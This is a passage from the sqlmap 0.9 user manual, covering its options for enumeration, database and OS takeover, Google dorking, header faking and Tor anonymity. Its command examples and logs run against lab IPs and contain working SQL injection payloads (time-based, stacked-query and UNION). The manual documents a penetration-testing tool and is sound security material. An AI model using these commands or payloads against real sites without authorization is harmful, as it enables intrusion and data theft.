enumerate -T TBL DBMS database table to enumerate -C COL DBMS database table column to enumerate -U USER DBMS user to enumerate --exclude-sysdbs Exclude DBMS system databases when enumerating tables --start=LIMITSTART First query output entry to retrieve --stop=LIMITSTOP Last query output entry to retrieve --first=FIRSTCHAR First query output word character to retrieve --last=LASTCHAR Last query output word character to retrieve --sql-query=QUERY SQL statement to be executed --sql-shell Prompt for an interactive SQL shell Brute force: These options can be used to run brute force checks. --common-tables Check existence of common tables --common-columns Check existence of common columns User-defined function injection: These options can be used to create custom user-defined functions. --udf-inject Inject custom user-defined functions --shared-lib=SHLIB Local path of the shared library File system access: These options can be used to access the back-end database management system underlying file system. --file-read=RFILE Read a file from the back-end DBMS file system --file-write=WFILE Write a local file on the back-end DBMS file system --file-dest=DFILE Back-end DBMS absolute filepath to write to Operating system access: These options can be used to access the back-end database management system underlying operating system. --os-cmd=OSCMD Execute an operating system command --os-shell Prompt for an interactive operating system shell --os-pwn Prompt for an out-of-band shell, meterpreter or VNC --os-smbrelay One click prompt for an OOB shell, meterpreter or VNC --os-bof Stored procedure buffer overflow exploitation --priv-esc Database process' user privilege escalation --msf-path=MSFPATH Local path where Metasploit Framework 3 is installed --tmp-path=TMPPATH Remote absolute path of temporary files directory Windows registry access: These options can be used to access the back-end database management system Windows registry. --reg-read Read a Windows registry key value --reg-add Write a Windows registry key value data --reg-del Delete a Windows registry key value --reg-key=REGKEY Windows registry key --reg-value=REGVAL Windows registry key value --reg-data=REGDATA Windows registry key value data --reg-type=REGTYPE Windows registry key value type General: These options can be used to set some general working parameters. -x XMLFILE Dump the data into an XML file -s SESSIONFILE Save and resume all data retrieved on a session file -t TRAFFICFILE Log all HTTP traffic into a textual file --flush-session Flush session file for current target --eta Display for each output the estimated time of arrival --update Update sqlmap --save Save options on a configuration INI file --batch Never ask for user input, use the default behaviour Miscellaneous: --beep Alert when sql injection found --check-payload IDS detection testing of injection payload --cleanup Clean up the DBMS by sqlmap specific UDF and tables --forms Parse and test forms on target url --gpage=GOOGLEPAGE Use google dork results from specified page number --parse-errors Parse DBMS error messages from response pages --replicate Replicate dumped data into a sqlite3 database </verb></tscreen> <sect1>Output verbosity Switch: <tt>-v</tt> This switch can be used to set the verbosity level of output messages. There exist <bf>seven</bf> levels of verbosity. The default level is <bf>1</bf> in which information, warnings, errors, critical messages and Python tracebacks (if any occur) will be displayed. <itemize> <item><tt>0</tt>: Show only critical messages <item><tt>1</tt>: Show also warning and information messages <item><tt>2</tt>: Show also debug messages <item><tt>3</tt>: Show also payloads injected <item><tt>4</tt>: Show also HTTP requests <item><tt>5</tt>: Show also HTTP responses' headers <item><tt>6</tt>: Show also HTTP responses' page content </itemize> A reasonable level of verbosity to further understand what sqlmap is doing under the hood is level <bf>2</bf>, primarily for the detection phase and the take-over functionalities. Whereas if you want to make sure you know which SQL payloads the tools sends, level <bf>3</bf> is your best choice. In order to further debug potential bugs or unexpected behaviours, we recommend you to set the verbosity to level <bf>4</bf> or above. This level is recommended to be used when you feed the developers with a bug report too. <sect1>Target At least one of these options has to be specified to set the source to get target URLs from. <sect2>Target URL Switch: <tt>-u</tt> or <tt>-</tt><tt>-url</tt> Run sqlmap against a single target URL. <sect2>Parse targets from Burp or WebScarab proxy logs Switch: <tt>-l</tt> Rather than providing a single target URL, it is possible to test and inject on HTTP requests proxied through <htmlurl url="http://portswigger.net/suite/" name="Burp proxy"> or <htmlurl url="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project" name="WebScarab proxy">. <sect2>Load HTTP request from a file Switch: <tt>-r</tt> One of the possibilities of sqlmap is loading of complete HTTP request stored in textual file. That way you can skip usage of bunch of other options (e.g. setting of cookies, POSTed data, etc). Sample content of a HTTP request file: <tscreen><verb> POST /sqlmap/mysql/post_int.php HTTP/1.1 Host: 192.168.136.131 User-Agent: Mozilla/4.0 id=1 </verb></tscreen> <sect2>Process Google dork results as target addresses Switch: <tt>-g</tt> It is also possible to test and inject on <tt>GET</tt> parameters on the results of your Google dork. This option makes sqlmap negotiate with the search engine its session cookie to be able to perform a search, then sqlmap will retrieve Google first 100 results for the Google dork expression with <tt>GET</tt> parameters asking you if you want to test and inject on each possible affected URL. Example of Google dorking with expression <tt>site:yourdomain.com ext:php</tt>: <tscreen><verb> $ python sqlmap.py -g "site:yourdomain.com ext:php" -v 1 [hh:mm:38] [INFO] first request to Google to get the session cookie [hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are testable hosts [hh:mm:41] [INFO] sqlmap got a total of 59 targets [hh:mm:40] [INFO] url 1: GET http://yourdomain.com/example1.php?foo=12, do you want to test this url? [y/N/q] n [hh:mm:43] [INFO] url 2: GET http://yourdomain.com/example2.php?bar=24, do you want to test this url? [y/N/q] n [hh:mm:42] [INFO] url 3: GET http://thirdlevel.yourdomain.com/news/example3.php?today=483, do you want to test this url? [y/N/q] y [hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example3.php?today=483 [...] </verb></tscreen> <sect2>Load options from a configuration INI file Switch: <tt>-c</tt> It is possible to pass user's options from a configuration INI file, an example is <tt>sqlmap.conf</tt>. Note that if you also provide other options from command line, those are evaluated when running sqlmap and overwrite the same options, if set, in the provided configuration file. <sect1>Request These options can be used to specify how to connect to the target url. <sect2>HTTP method: <tt>GET</tt> or <tt>POST</tt> Option: <tt>-</tt><tt>-data</tt> By default the HTTP method used to perform HTTP requests is <tt>GET</tt>, but you can implicitly change it to <tt>POST</tt> by providing the data to be sent in the <tt>POST</tt> requests. Such data, being those parameters, are tested for SQL injection as well as the <tt>GET</tt> parameters. <sect2>HTTP <tt>Cookie</tt> header Switches: <tt>-</tt><tt>-cookie</tt>, <tt>-</tt><tt>-cookie-urlencode</tt> and <tt>-</tt><tt>-drop-set-cookie</tt> This feature can be useful in two scenarios: <itemize> <item>The web application requires authentication based upon cookies and you have such data. <item>You want to detect and exploit SQL injection on such header values. </itemize> Either reason brings you to need to send cookies with sqlmap requests, the steps to go through in the second scenario are the following: <itemize> <item>On Firefox web browser login on the web authentication form while dumping URL requests with <htmlurl url="http://tamperdata.mozdev.org/" name="TamperData"> browser's extension or by passing through a HTTP proxy like Burp. <item>In the horizontal box of the extension select your authentication transaction then in the left box on the bottom click with the right button on the <tt>Cookie</tt> value, then click on <tt>Copy</tt> to save its value to the clipboard. <item>Go back to your shell and run sqlmap by pasting your clipboard to the argument of the <tt>-</tt><tt>-cookie</tt> switch. </itemize> Note that the HTTP <tt>Cookie</tt> header values are usually separated by a <tt>;</tt> character, <bf>not</bf> by an <tt>&</tt>. sqlmap can recognize these as separate sets of <tt>parameter=value</tt> too, as well as GET and POST parameters. If the web application responds with <tt>Set-Cookie</tt> headers at any time during the communication, sqlmap will automatically use its value in all further HTTP requests as the <tt>Cookie</tt> header. sqlmap will also automatically test those values for SQL injection, except if you run it with <tt>--drop-set-cookie</tt> option. In the latter case, sqlmap will ignore any coming <tt>Set-Cookie</tt> header. Vice versa, if you provide a HTTP <tt>Cookie</tt> header with <tt>--cookie</tt> switch and the target URL sends an HTTP <tt>Set-Cookie</tt> header at any time, sqlmap will ask you which one to use for the following HTTP requests. sqlmap by default <bf>does not</bf> URL encode generated cookie injections, but you can force it by using the <tt>-</tt><tt>-cookie-urlencode</tt> switch. Cookie content encoding is not declared by standard in any way, so it is solely the matter of web application's behaviour. Note that also the HTTP <tt>Cookie</tt> header is tested against SQL injection if the <tt>--level</tt> is set to <bf>2</bf> or above. See below for details. <sect2>HTTP <tt>User-Agent</tt> header Switches: <tt>-</tt><tt>-user-agent</tt> and <tt>--random-agent</tt> By default sqlmap performs HTTP requests with the following <tt>User-Agent</tt> header value: <tscreen><verb> sqlmap/0.9 (http://sqlmap.sourceforge.net) </verb></tscreen> However, it is possible to fake it with the <tt>-</tt><tt>-user-agent</tt> option. Moreover, by providing the <tt>--random-agent</tt> switch, sqlmap will randomly select a <tt>User-Agent</tt> from the <tt>./txt/user-agents.txt</tt> textual file and use it for all HTTP requests within the session. Some sites perform a server-side check on the HTTP <tt>User-Agent</tt> header value and fail the HTTP response if a valid <tt>User-Agent</tt> is not provided, its value is not expected or its value is blocked by a web application firewall or similar intrusion prevention system. In this case sqlmap will show you a message as follows: <tscreen><verb> [hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent </verb></tscreen> Note that also the HTTP <tt>User-Agent</tt> header is tested against SQL injection if the <tt>--level</tt> is set to <bf>3</bf> or above. See below for details. <sect2>HTTP <tt>Referer</tt> header Switch: <tt>-</tt><tt>-referer</tt> It is possible to fake the HTTP <tt>Referer</tt> header value with this option. By default <bf>no</bf> HTTP <tt>Referer</tt> header is sent in HTTP requests. Note that also the HTTP <tt>Referer</tt> header is tested against SQL injection if the <tt>--level</tt> is set to <bf>3</bf> or above. See below for details. <sect2>Extra HTTP headers Switch: <tt>-</tt><tt>-headers</tt> It is possible to provide extra HTTP headers by setting the <tt>-</tt><tt>-headers</tt> switch. Each header must be separated by a newline and it is much easier to provide them from the configuration INI file. Have a look at the sample <tt>sqlmap.conf</tt> file for an example. <sect2>HTTP <tt>Basic</tt>, <tt>Digest</tt> and <tt>NTLM</tt> authentications Switches: <tt>-</tt><tt>-auth-type</tt> and <tt>-</tt><tt>-auth-cred</tt> These options can be used to specify which HTTP authentication type the web server implements and the valid credentials to be used to perform all HTTP requests to the target application. The three valid types are <tt>Basic</tt>, <tt>Digest</tt> and <tt>NTLM</tt>, while the credentials' syntax is <tt>username:password</tt>. Example of valid syntax: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" \ --auth-type Basic --auth-cred "testuser:testpass" </verb></tscreen> <sect2>HTTP Certificate authentication Switch: <tt>-</tt><tt>-auth-cert</tt> This switch should be used in cases when the web server requires proper client-side certificate for authentication. Supplied values should be in the form: <tt>key_file,cert_file</tt>, where <tt>key_file</tt> should be the name of a PEM formatted file that contains your private key, while <tt>cert_file</tt> should be the name for a PEM formatted certificate chain file. <sect2>HTTP(S) proxy Switches: <tt>-</tt><tt>-proxy</tt>, <tt>-</tt><tt>-proxy-cred</tt> and <tt>-</tt><tt>-ignore-proxy</tt> It is possible to provide an anonymous HTTP(S) proxy address to pass by the HTTP(S) requests to the target URL. The syntax of HTTP(S) proxy value is <tt>http://url:port</tt>. You can also pass by your requests through an authenticated HTTP(S) proxy server, by providing the credentials in the format <tt>username:password</tt> to the <tt>-</tt><tt>-proxy-cred</tt> switch. If, for any reason, you need to stay anonymous, instead of passing by a single known HTTP(S) proxy server, you can configure a <htmlurl url="http://www.torproject.org/" name="Tor client"> together with <htmlurl url="http://www.privoxy.org" name="Privoxy"> on your machine as explained on the Tor client guide and use the Privoxy daemon, by default listening on <tt>127.0.0.1:8118</tt>, as sqlmap proxy. The switch <tt>-</tt><tt>-ignore-proxy</tt> should be used when you want to run sqlmap against a target part of a local area network skipping default usage of a system-wide set HTTP(S) proxy server. <sect2>Delay in seconds between each HTTP request Switch: <tt>-</tt><tt>-delay</tt> It is possible to specify a number of seconds to wait between each HTTP(S) request. The valid value is a float, for instance <tt>0.5</tt> means half a second. By default, no delay is set. <sect2>Seconds to wait before timeout connection Switch: <tt>-</tt><tt>-timeout</tt> It is possible to specify a number of seconds to wait before considering the HTTP(S) request timed out. The valid value is a float, for instance 10.5 means ten seconds and a half. By default 30 seconds are set. <sect2>Maximum number of retries when the HTTP connection timeouts Switch: <tt>-</tt><tt>-retries</tt> It is possible to specify the maximum number of retries when the HTTP(S) connection timeouts. By default it retries up to three times. <sect2>Filtering targets from provided proxy log using regular expression Switch: <tt>-</tt><tt>-scope</tt> Rather than using all hosts parsed from provided logs with switch <tt>-l</tt>, you can specify valid Python regular expression to be used for filtering desired ones. Example usage: <tscreen><verb> $ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)" </verb></tscreen> <sect2>TODO Switches: <tt>-</tt><tt>-safe-url</tt> and <tt>-</tt><tt>-safe-freq</tt> TODO <sect1>Optimization These options can be used to optimize the performance of sqlmap. <sect2>Bundle optimization Switch: <tt>-o</tt> TODO <sect2>Output prediction Switch: <tt>-</tt><tt>-predict-output</tt> TODO <sect2>HTTP Keep-Alive Switch: <tt>-</tt><tt>-keep-alive</tt> TODO <sect2>HTTP NULL connection Switch: <tt>-</tt><tt>-null-connection</tt> TODO <sect2>Concurrent HTTP(S) requests Switch: <tt>-</tt><tt>-threads</tt> It is possible to specify the maximum number of concurrent HTTP(S) requests that sqlmap is allowed to do. This feature relies on the <htmlurl url="http://en.wikipedia.org/wiki/Multithreading" name="multi-threading"> concept and inherits both its pro and its cons. This number comes into play when the brute-force switches are provided or when the data fetching is done through any of the blind SQL injection techniques. For the latter case, sqlmap first calculates the length of the query output, then starts the threads. Each thread is assigned to retrieve one character of the query output. The thread then ends when that character is retrieved. Note that the multi-threading switch does not affect any other SQL injection technique and that the maximum number of concurrent requests is set to <bf>10</bf> for performance and site reliability reasons. <sect2>MySQL GROUP_CONCAT() speed up Switch: <tt>-</tt><tt>-group-concat</tt> TODO <sect1>Injection These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts. <sect2>Testable parameter(s) Switch: <tt>-p</tt> By default sqlmap tests all <tt>GET</tt> parameters and <tt>POST</tt> parameters. When the value of <tt>--level</tt> is >= <bf>2</bf> it tests also HTTP <tt>Cookie</tt> header values. When this value is >= <bf>3</bf> it tests also HTTP <tt>User-Agent</tt> and HTTP <tt>Referer</tt> header value for SQL injections. It is however possible to manually specify a comma-separated list of parameter(s) that you want sqlmap to test. This will bypass the dependence on the value of <tt>--level</tt> too. For instance, to test for GET parameter <tt>id</tt> and for HTTP <tt>User-Agent</tt> only, provide <tt>-p id,user-agent</tt>. <sect2>Force the database management system name Switch: <tt>-</tt><tt>-dbms</tt> By default sqlmap automatically detects the web application's back-end database management system. As of version <bf>0.9</bf>, sqlmap fully supports the following database management systems: <itemize> <item>MySQL <item>Oracle <item>PostgreSQL <item>Microsoft SQL Server <item>Microsoft Access <item>SQLite <item>Firebird <item>Sybase <item>SAP MaxDB </itemize> If for any reason sqlmap fails to detect the back-end DBMS once a SQL injection has been identified or if you want to avoid an active fingeprint, you can provide the name of the back-end DBMS yourself (e.g. <tt>postgresql</tt>). For MySQL and Microsoft SQL Server provide them respectively in the form <tt>MySQL <version></tt> and <tt>Microsoft SQL Server <version> </tt>, where <tt><version></tt> is a valid version for the DBMS; for instance <tt>5.0</tt> for MySQL and <tt>2005</tt> for Microsoft SQL Server. In case you provide <tt>-</tt><tt>-fingerprint</tt> together with <tt>-</tt><tt>-dbms</tt>, sqlmap will only perform the extensive fingerprint for the specified database management system only, read below for further details. Note that this option is <bf>not</bf> mandatory and it is strongly recommended to use it <bf>only if you are absolutely sure</bf> about the back-end database management system. If you do not know it, let sqlmap automatically fingerprint it for you. <sect2>Force the database management system operating system name Switch: <tt>-</tt><tt>-os</tt> By default sqlmap automatically detects the web application's back-end database management system underlying operating system when this information is a dependence of any other provided switch. At the moment the fully supported operating systems are two: <itemize> <item>Linux <item>Windows </itemize> It is possible to force the operating system name if you already know it so that sqlmap will avoid doing it itself. Note that this option is <bf>not</bf> mandatory and it is strongly recommended to use it <bf>only if you are absolutely sure</bf> about the back-end database management system underlying operating system. If you do not know it, let sqlmap automatically identify it for you. <sect2>Custom injection payload Switches: <tt>-</tt><tt>-prefix</tt> and <tt>-</tt><tt>-suffix</tt> In some circumstances the vulnerable parameter is exploitable only if the user provides a specific suffix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and suffix. Example on vulnerable source code: <tscreen><verb> $query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1"; </verb></tscreen> To detect and exploit this SQL injection, you can either let sqlmap detect the <bf>boundaries</bf> (as in combination of SQL payload prefix and suffix) for you during the detection phase, or provide them on your own. For example: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" \ -p id --prefix "')" --suffix "AND ('abc'='abc" [...] </verb></tscreen> This will result in all sqlmap requests to end up in a query as follows: <tscreen><verb> $query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1"; </verb></tscreen> Which makes the query syntactically correct. In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide custom boundaries, but sometimes in real world application it is necessary to provide it when the injection point is within nested <tt>JOIN</tt> queries for instance. <sect2>Tamper injection data Switch: <tt>-</tt><tt>-tamper</tt> TODO <sect1>Detection These options can be used to specify how to parse and compare page content from HTTP responses when using blind SQL injection technique. <sect2>Level Switch: <tt>-</tt><tt>-level</tt> TODO <sect2>Risk Switch: <tt>-</tt><tt>-risk</tt> TODO <sect2>Page comparison Switches: <tt>-</tt><tt>-string</tt> and <tt>-</tt><tt>-regexp</tt> By default the distinction of a True query by a False one (basic concept for Inferential blind SQL injection attacks) is done comparing injected requests page content MD5 hash with the original not injected page content MD5 hash. Not always this concept works because sometimes the page content changes at each refresh even not injecting anything, for instance when the page has a counter, a dynamic advertisment banner or any other part of the HTML which is render dynamically and might change in time not only consequently to user's input. To bypass this limit, sqlmap makes it possible to manually provide a string which is <bf>always</bf> present on the not injected page <bf>and</bf> on all True injected query pages, but that it is <bf>not</bf> on the False ones. This can also be achieved by providing a regular expression. Such information is easy for an user to retrieve, simply try to inject on the affected URL parameter an invalid value and compare original (not injected) page content with the injected wrong page content to identify which string or regular expression match is on not injected and True page only. This way the distinction will be based upon string presence or regular expression match and not page MD5 hash comparison. Example on a <bf>MySQL 5.0.67</bf> target on a page which content changes every second due to a call to PHP function <tt>time()</tt>: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int_refresh.php?id=1" \ -v 5 [...] [hh:mm:50] [INFO] testing if the url is stable, wait a few seconds [hh:mm:50] [TRAFFIC OUT] HTTP request: GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1 Host: 192.168.136.131 User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200): Date: Fri, 25 Jul 2008 14:29:50 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 X-Powered-By: PHP/5.2.4-2ubuntu5.2 Connection: close Transfer-Encoding: chunked Content-Type: text/html <html><body> SQL results: <table border="1"> <tr><td>1</td><td>luther</td><td>blissett</td></tr> </table> </body></html>Dynamic content: 1216996190 [hh:mm:51] [TRAFFIC OUT] HTTP request: GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1 Host: 192.168.136.131 User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200): Date: Fri, 25 Jul 2008 14:29:51 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 X-Powered-By: PHP/5.2.4-2ubuntu5.2 Content-Length: 161 Connection: close Content-Type: text/html <html><body> SQL results: <table border="1"> <tr><td>1</td><td>luther</td><td>blissett</td></tr> </table> </body></html>Dynamic content: 1216996191 [hh:mm:51] [TRAFFIC OUT] HTTP request: GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1 Host: 192.168.136.131 User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200): Date: Fri, 25 Jul 2008 14:29:51 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 X-Powered-By: PHP/5.2.4-2ubuntu5.2 Content-Length: 161 Connection: close Content-Type: text/html <html><body> SQL results: <table border="1"> <tr><td>1</td><td>luther</td><td>blissett</td></tr> </table> </body></html>Dynamic content: 1216996191 [hh:mm:51] [ERROR] url is not stable, try with --string or --regexp options, refer to the user's manual paragraph 'Page comparison' for details </verb></tscreen> As you can see, the string after <tt>Dynamic content</tt> changes its value every second. In the example it is just a call to PHP <tt>time()</tt> function, but on the real world it is usually much more than that. Looking at the HTTP responses page content you can see that the first five lines of code do not change at all. So choosing for instance the word <tt>luther</tt> as an output that is on the not injected page content and it is not on the False page content (because the query condition returns no output so <tt>luther</tt> is not displayed on the page content) and passing it to sqlmap, you are able to inject anyway. Example on a <bf>MySQL 5.0.67</bf> target on a page which content changes every second due to a call to PHP function <tt>time()</tt>: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int_refresh.php?id=1" \ --string "luther" -v 1 [hh:mm:22] [INFO] testing connection to the target url [hh:mm:22] [INFO] testing if the provided string is within the target URL page content [hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic [hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic [hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic [hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic [hh:mm:22] [INFO] GET parameter 'id' is dynamic [hh:mm:22] [INFO] testing sql injection on GET parameter 'id' [hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id' [hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id' [hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable [hh:mm:22] [INFO] testing for parenthesis on injectable parameter [hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis [...] </verb></tscreen> You can also specify a regular expression to match rather than a string if you prefer. Example on a <bf>MySQL 5.0.67</bf> target on a page which content changes every second due to a call to PHP function <tt>time()</tt>: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int_refresh.php?id=1" \ --regexp "<td>lu[\w][\w]er" -v 1 [hh:mm:22] [INFO] testing connection to the target url [hh:mm:22] [INFO] testing if the provided regular expression matches within the target URL page content [hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic [hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic [hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic [hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic [hh:mm:22] [INFO] GET parameter 'id' is dynamic [hh:mm:22] [INFO] testing sql injection on GET parameter 'id' [hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id' [hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id' [hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable [hh:mm:22] [INFO] testing for parenthesis on injectable parameter [hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis [...] </verb></tscreen> As you can see, when one of these options is specified, sqlmap skips the URL stability test. <bf>Consider one of these options a MUST when dealing with a page with content that changes itself at each refresh without modifying the user's input</bf>. <sect1>Techniques These options can be used to test for specific SQL injection technique or to use one of them to exploit the affected parameter(s) rather than using the default blind SQL injection technique. <sect2>Test for stacked queries (multiple statements) support Switch: <tt>-</tt><tt>-stacked-test</tt> It is possible to test if the web application technology supports <bf>stacked queries</bf>, multiple statements, on the injectable parameter. Example on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" \ --stacked-test -v 1 [...] back-end DBMS: MySQL >= 5.0.0 [hh:mm:15] [INFO] testing stacked queries support on parameter 'id' [hh:mm:15] [WARNING] the web application does not support stacked queries on parameter 'id' stacked queries support: None </verb></tscreen> By default PHP builtin function <tt>mysql_query()</tt> does not support multiple statements. Multiple statements is a feature supported by default only by some web application technologies in relation to the back-end database management system. For instance, as you can see from the next example, where PHP does not support them on MySQL, it does on PostgreSQL. Example on a <bf>PostgreSQL 8.3.5</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \ --stacked-test -v 1 [...] back-end DBMS: PostgreSQL [hh:mm:01] [INFO] testing stacked queries support on parameter 'id' [hh:mm:06] [INFO] the web application supports stacked queries on parameter 'id' stacked queries support: 'id=1; SELECT pg_sleep(5);-- AND 3128=3128' </verb></tscreen> Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.36/sqlmap/get_str.asp?name=luther" \ --stacked-test -v 1 [...] back-end DBMS: Microsoft SQL Server 2005 [hh:mm:09] [INFO] testing stacked queries support on parameter 'name' [hh:mm:23] [INFO] the web application supports stacked queries on parameter 'name' stacked queries support: 'name=luther'; WAITFOR DELAY '0:0:5';-- AND 'wRcBC'='wRcBC' </verb></tscreen> <sect2>Test for time based blind SQL injection Switches: <tt>-</tt><tt>-time-test</tt> and <tt>-</tt><tt>-time-sec</tt> It is possible to test if the target URL is affected by a <bf>time based blind SQL injection</bf> vulnerability. Example on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" \ --time-test -v 1 [...] back-end DBMS: MySQL >= 5.0.0 [hh:mm:05] [INFO] testing time based blind sql injection on parameter 'id' with AND condition syntax [hh:mm:10] [INFO] the parameter 'id' is affected by a time based blind sql injection with AND condition syntax time based blind sql injection payload: 'id=1 AND SLEEP(5) AND 5249=5249' </verb></tscreen> Example on a <bf>PostgreSQL 8.3.5</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \ --time-test -v 1 [...] back-end DBMS: PostgreSQL [hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with AND condition syntax [hh:mm:30] [WARNING] the parameter 'id' is not affected by a time based blind sql injection with AND condition syntax [hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with stacked query syntax [hh:mm:35] [INFO] the parameter 'id' is affected by a time based blind sql injection with stacked query syntax time based blind sql injection payload: 'id=1; SELECT pg_sleep(5);-- AND 9644=9644' </verb></tscreen> Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.36/sqlmap/get_str.asp?name=luther" \ --time-test -v 1 [...] back-end DBMS: Microsoft SQL Server 2005 [hh:mm:59] [INFO] testing time based blind sql injection on parameter 'name' with AND condition syntax [hh:mm:59] [WARNING] the parameter 'name' is not affected by a time based blind sql injection with AND condition syntax [hh:mm:59] [INFO] testing time based blind sql injection on parameter 'name' with stacked query syntax [hh:mm:13] [INFO] the parameter 'name' is affected by a time based blind sql injection with stacked query syntax time based blind sql injection payload: 'name=luther'; WAITFOR DELAY '0:0:5';-- AND 'PmrXn'='PmrXn' </verb></tscreen> It is also possible to set the seconds to delay the response by providing the <tt>-</tt><tt>-time-sec</tt> option followed by an integer. By default delay is set to five seconds. <sect2>Test for UNION query SQL injection Switches: <tt>-</tt><tt>-union-test</tt> and <tt>-</tt><tt>-union-tech</tt> It is possible to test if the target URL is affected by a <bf>UNION query (inband) SQL injection</bf> vulnerability. Refer to the Techniques section for details on this SQL injection technique. Example on an <bf>Oracle XE 10.2.0.1</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" \ --union-test -v 1 [...] back-end DBMS: Oracle [hh:mm:27] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing technique [hh:mm:27] [INFO] the target url could be affected by an inband sql injection vulnerability valid union: 'http://192.168.136.131/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT NULL, NULL, NULL FROM DUAL-- AND 6558=6558' </verb></tscreen> By default sqlmap uses the <bf><tt>NULL</tt> bruteforcing</bf> technique to detect the number of columns within the original <tt>SELECT</tt> statement. It is also possible to change it to <bf><tt>ORDER BY</tt> clause bruteforcing</bf> with the <tt>-</tt><tt>-union-tech</tt> option. Further details on these techniques can be found <htmlurl url="http://bernardodamele.blogspot.com/2007/07/insight-on-union-query-sql-injection.html" name="here">. Example on a <bf>PostgreSQL 8.3.5</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_str.php?id=1" \ --union-test --union-tech orderby -v 1 [...] back-end DBMS: PostgreSQL [hh:mm:51] [INFO] testing inband sql injection on parameter 'id' with ORDER BY clause bruteforcing technique [hh:mm:51] [INFO] the target url could be affected by an inband sql injection vulnerability valid union: 'http://192.168.136.150:80/sqlmap/pgsql/get_int.php?id=1 ORDER BY 3-- AND 1262=1262' </verb></tscreen> As you can see, the target URL parameter <tt>id</tt> might be also exploitable by the inband SQL injection technique. In case a case it is strongly recommended to use this technique which saves a lot of time. It is strongly recommended to run at least once sqlmap with the <tt>-</tt><tt>-union-test</tt> option to test if the affected parameter is used within a <tt>for</tt> cycle, or similar, and in case use <tt>-</tt><tt>-union-use</tt> option to exploit this vulnerability because it saves a lot of time and it does not weight down the web server log file with hundreds of HTTP requests. <sect2>Use the UNION query SQL injection Switch: <tt>-</tt><tt>-union-use</tt> Providing the <tt>-</tt><tt>-union-use</tt> parameter, sqlmap will first test if the target URL is affected by an <bf>inband SQL injection</bf> (<tt>-</tt><tt>-union-test</tt>) vulnerability then, in case it seems to be vulnerable, it will confirm that the parameter is affected by a <bf>Full UNION query SQL injection</bf> and use this technique to go ahead with the exploiting. If the confirmation fails, it will check if the parameter is affected by a <bf>Partial UNION query SQL injection</bf>, then use it to go ahead if it is vulnerable. In case the inband SQL injection vulnerability is not exploitable, sqlmap will automatically 